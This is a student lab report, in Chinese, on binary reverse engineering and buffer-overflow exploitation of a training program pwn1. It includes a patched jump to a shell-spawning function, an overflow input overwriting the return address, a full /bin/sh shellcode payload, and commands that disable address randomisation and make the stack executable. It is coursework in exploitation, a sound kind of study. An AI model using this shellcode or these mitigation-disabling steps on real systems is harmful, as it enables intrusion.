20164318 毛瀚逸 Exp1 PC平台逆向破解
一、逆向及Bof基础实践说明
1.1实践目标
- 本次实践的对象是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.2实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码
(注:进行实验前,记得备份Pwn1文件,后续需要使用三次)
1.3基础知识
- 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码
NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
JNE指令:条件转移指令(等同于“jump not equal”),如果不相等则跳转。
JE指令:条件转移指令,如果相等则跳转。
JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。
CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,相对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.掌握反汇编与十六进制编程器
objdump反汇编命令:
objdump -f test //显示test的文件头信息
objdump -d test //反汇编test中的需要执行指令的那些section
objdump -D test //与-d类似,但反汇编test中的所有section
objdump -h test //显示test的Section Header信息
objdump -x test //显示test的全部Header信息
objdump -s test //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码
xxd命令:
用vi命令打开一个文件,在vi命令模式下输入
:%!xxd //回车后,该文件会以十六进制形式显示
:%!xxd -r //参数-r是指将当前的十六进制转换为二进制
二、实验过程
1.1使用objdump -d pwn1命令反汇编

找到相应的main、foo、getshell等字段

此处可以看出80484b5的call调用了位于8048491的foo()函数,e8的作用是跳转,而d7则是相应跳转的地址,那么将d7改为getshell的地址则就可以在程序运行时,触发getshell。
那么d7为补码,逐位取反加一后,变为-29,即可得出地址偏移量,由此得出应该修改的地址为c3
vi pwn1 修改机器指令代码

再使用%!xxd转换为16进制

更改后可得

得到最终效果

2.1通过构造输入参数,造成BOF攻击,改变程序执行流
打开运行后,发现过长的字符会导致出错

通过gdb分析后,发现此处只能有32个字符,那么多的字符呢?

进一步分析,发现eip中对应的ascii码是1234,所以将此处的值修改为getshell的内存地址即可触发。
因此输入11111111222222223333333344444444\x7d\x84\x04\x08即可完成。

3.1注入shellcode并运行
首先用apt-get install execstack安装execstack
然后输入
execstack -s pwn1(设置堆栈可执行)
execstack -q pwn1(查询堆栈是否可执行)
more /proc/sys/kernel/randomize_va_space(查看地址是否随机化,0为否,2为开)
echo "0" > /proc/sys/kernel/randomize_va_space (更改地址不随机化)
more /proc/sys/kernel/randomize_va_space(确认一下)
根据上课内容,我们输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
然后我们需要确认变更的地址内容
所以我们继续输入(cat input_shellcode;cat) | ./pwn1(将内容注入)
此时打开另一个终端,输入ps -ef | grep pwn1查询进程号

然后启动gdb调试,并反汇编foo()

在080484ae设置断点,然后在另一个终端触发运行
完成。
四、实验心得
这是我们第一次在linux上面操作,和windows图形化的界面不同,kali的操作非常不习惯,但是在同学的指导下也一步步的习惯了。同时对与网络攻防也有了全新的认识,网络攻防是基于各式各样程序、协议的漏洞来“钻空子”,达到正常手段不能获取的信息、权限等等。
五、漏洞的危害
漏洞是指程序、系统、协议等等计算机软件在逻辑、地址分配等等上有缺陷,使攻击者得以利用。
20164318 毛瀚逸 Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
随机推荐
- D3算法编写决策树
前言 所谓构建决策树, 就是递归的对数据集参数进行“最优特征”的选择.然后按最优特征分类成各个子数据集,继续递归. 最优特征的选择:依次计算按照各个特征进行分类以后数据集的熵,各个子数据集的熵比较后, ...
- Java中的volatile变量有什么作用?
vlolatile是一个特殊的的修饰符,只能修饰成员变量,在Java并发程序缺少同步类的情况下,多线程对成员变量的操作对其他线程是透明的.volatilel变量可以保证下一个读取操作会在前一个写操作之 ...
- JAVAEE 第七周
JSON语法: JSON(JavaScript Object Notation, JS 对象标记) 是一种轻量级的数据交换格式.它基于 ECMAScript (欧洲计算机协会制定的js规范)的一个子集 ...
- C#控制键盘按键(大小写按键等)的代码
将代码过程较好的代码段做个记录,如下的资料是关于C#控制键盘按键(大小写按键等)的代码.using System;using System.Collections.Generic;using Syst ...
- MIME 参考手册
本文摘自http://www.w3school.com.cn/media/media_mimeref.asp MIME (Multipurpose Internet Mail Extensions) ...
- shell中的输出重定向
shell中默认有三个标准设备:标准输入(STDIN).标准输出(STDOUT).标准错误(STDERR). 在Linux系统中,一切(或几乎一切)都是文件.因此,标准输入的文件描述符是0,标准输出的 ...
- python之常用模块学习
1.模块调用 import module from module import xx from module.xx.xx import xx as rename from module.xx.xx i ...
- JS 返回上一页并刷新代码整理
一:JS 重载页面,本地刷新,返回上一页: <a href="javascript:history.go(-1)">返回上一页</a> <a href ...
- linux服务器升级nginx
1.简介 有时候nginx发布了新BUG或者添加了新的功能时,想要更新的时候服务又不能中断,这时候就要用到nginx的平滑升级了. 该脚本同样适用于添加新扩展,添加新扩展的时候只需要把更新的版本修改为 ...
- linux运维工作内容及岗位要求
什么是Linux?大家日常使用电脑听歌.打游戏娱乐或处理日常工作时,接触到最多的就是Windows操作系统,电脑如果不安装Windows系统是无法进行娱乐和工作的,所有的软件程序都必须运行在操作系统之 ...